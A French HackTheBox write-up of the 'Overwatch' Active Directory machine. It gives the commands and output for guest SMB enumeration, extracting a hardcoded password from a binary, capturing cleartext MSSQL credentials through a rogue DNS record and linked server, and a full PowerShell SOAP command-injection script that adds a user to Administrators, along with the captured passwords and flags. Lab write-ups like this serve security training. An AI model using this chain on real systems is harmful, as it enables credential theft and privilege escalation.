Writeup

Overwatch

Machine Windows Server 2022 Active Directory. Accès initial via SMB guest, extraction de credentials depuis un binaire, puis élévation via injection PowerShell dans un service SOAP.

Platform: HackTheBox
Difficulty: Medium
Date: 2026-02-17

1. Reconnaissance

Scan Nmap révèle un domaine Active Directory overwatch.htb, machine S200401. Ports ouverts : DNS (53), Kerberos (88), LDAP (389, 636, 3268), SMB (445), RDP (3389), WinRM (5985), et un port MSSQL non standard (6520).

Commande

nmap -Pn -sV -p- 10.129.1.48 -T5

Résultat

PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: overwatch.htb)
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0
6520/tcp open  ms-sql-s      Microsoft SQL Server 2022

2. Accès SMB (guest)

Authentification guest sans mot de passe fonctionne. Énumération des partages et des RID du domaine.

Commande

nxc smb overwatch.htb -u 'guest' -p '' --shares

Résultat

SMB  10.129.5.218  445  S200401  [+] overwatch.htb\guest:
Share           Permissions     Remark
-----           -----------     ------
ADMIN$                          Remote Admin
C$                              Default share
IPC$            READ            Remote IPC
NETLOGON                        Logon server share
software$       READ            
SYSVOL                          Logon server share

Partage software$ en lecture. Énumération RID pour lister utilisateurs et groupes du domaine.

Commande

nxc smb overwatch.htb -u 'guest' -p '' --rid-brute

Nombreux utilisateurs (Charlie.Moss, Tracy.Burns, etc.) et groupes, notamment sqlsvc (RID 1104) et sqlmgmt (1105).

3. Extraction de credentials (overwatch.exe)

Téléchargement du contenu du partage software$ via smbclient. Le dossier Monitoring contient overwatch.exe et des DLLs.

Commande

smbclient //overwatch.htb/software\$ -U 'guest%'
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *

Analyse du binaire avec strings pour chercher des mots de passe en clair.

Commande

strings -el overwatch.exe | grep -i "pass"

Résultat

Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;

Chaîne de connexion MSSQL trouvée : sqlsvc / TI0LKcfHzZw1Vv.

4. Accès MSSQL (sqlsvc)

Connexion à MSSQL sur le port 6520 avec les identifiants extraits.

Commande

nxc smb overwatch.htb -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'

Résultat

SMB  10.129.5.218  445  S200401  [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1Vv

Connexion MSSQL (port 6520)

mssqlclient.py sqlsvc:'TI0LKcfHzZw1Vv'@10.129.1.48 -port 6520 -windows-auth

Résultat

[*] Encryption required, switching to TLS
[*] INFO(S200401\SQLEXPRESS): Changed database context to 'master'.
SQL (OVERWATCH\sqlsvc  guest@master)>

5. Capture NTLM via linked server

Tentative de capture NTLM via xp_dirtree vers notre serveur SMB. La première tentative avec le compte machine S200401$ ne donne rien d’exploitable. On utilise bloodyAD pour ajouter un enregistrement DNS pointant vers notre IP, puis on configure un linked server vers ce nom.

Commande (ajout DNS record)

bloodyAD --host 10.129.1.48 --domain overwatch.htb -u sqlsvc -p 'TI0LKcfHzZw1Vv' add dnsRecord SQL07 10.10.16.23

Résultat

[+] SQL07 has been successfully added

Lancement de Responder avec -wFdv pour capturer les requêtes MSSQL. Depuis MSSQL, exécution d’une requête vers le linked server SQL07.

Depuis mssqlclient

EXEC ('SELECT 1') AT SQL07;

Résultat (Responder)

[MSSQL] Received connection from 10.129.1.48
[MSSQL] Cleartext Client   : 10.129.1.48
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx

Credentials MSSQL capturés en clair : sqlmgmt / bIhBbzMMnB82yx.

6. Accès WinRM (sqlmgmt)

Connexion WinRM avec sqlmgmt.

Commande

nxc winrm 10.129.1.48 -u sqlmgmt -p 'bIhBbzMMnB82yx'

Résultat

WINRM  10.129.1.48  5985  S200401  [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!)

Connexion WinRM (evil-winrm)

evil-winrm-py -i 10.129.1.48 -u sqlmgmt -p 'bIhBbzMMnB82yx'

Lecture user.txt

cat ../Desktop/user.txt

Résultat

d583ad30ff2ae368008fcfb525bce6ce

7. Élévation de privilèges – Injection PowerShell

Découverte d’un service SOAP MonitoringService sur le port 8000 (écoute locale). Analyse du WSDL révèle une méthode KillProcess qui prend un nom de processus en paramètre.

Commande

netstat -ano | findstr 8000

Résultat

TCP    0.0.0.0:8000           0.0.0.0:0              LISTENING       4

Récupération WSDL

curl "http://localhost:8000/MonitorService?wsdl" -UseBasicParsing

Le service expose KillProcess(processName). Si le serveur utilise directement le paramètre dans une commande PowerShell (ex. Stop-Process -Name $processName), on peut injecter du code via le séparateur ;.

Script PowerShell d'exploitation

$Url = "http://localhost:8000/MonitorService"
$Action = "http://tempuri.org/IMonitoringService/KillProcess"
$Payload = "notepad; net localgroup administrators sqlmgmt /add"
$Body = @"
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
    <s:Body>
        <KillProcess xmlns="http://tempuri.org/">
            <processName>$Payload</processName>
        </KillProcess>
    </s:Body>
</s:Envelope>
"@
Invoke-WebRequest -Uri $Url -Method Post -ContentType "text/xml; charset=utf-8" -Body $Body -Headers @{"SOAPAction" = $Action}

Le payload injecte net localgroup administrators sqlmgmt /add pour ajouter sqlmgmt au groupe Administrators. Vérification puis reconnexion WinRM pour accéder au Desktop de l’Administrator.

Vérification

net localgroup administrators | select-string "sqlmgmt"

Lecture root.txt

type C:\Users\Administrator\Desktop\root.txt

Résultat

ac5bd179d0b76900076d7815301375ff

Récap

  • Recon : AD overwatch.htb, SMB guest, partage software$
  • Extraction : strings sur overwatch.exe → sqlsvc / TI0LKcfHzZw1Vv
  • MSSQL : connexion sur port 6520 avec sqlsvc
  • DNS : bloodyAD pour ajouter SQL07 → notre IP
  • Capture : linked server MSSQL vers SQL07 → credentials sqlmgmt en clair
  • WinRM : connexion avec sqlmgmt → user.txt
  • Privesc : injection PowerShell dans MonitoringService (KillProcess) → ajout à Administrators
  • Flags : root.txt via Administrator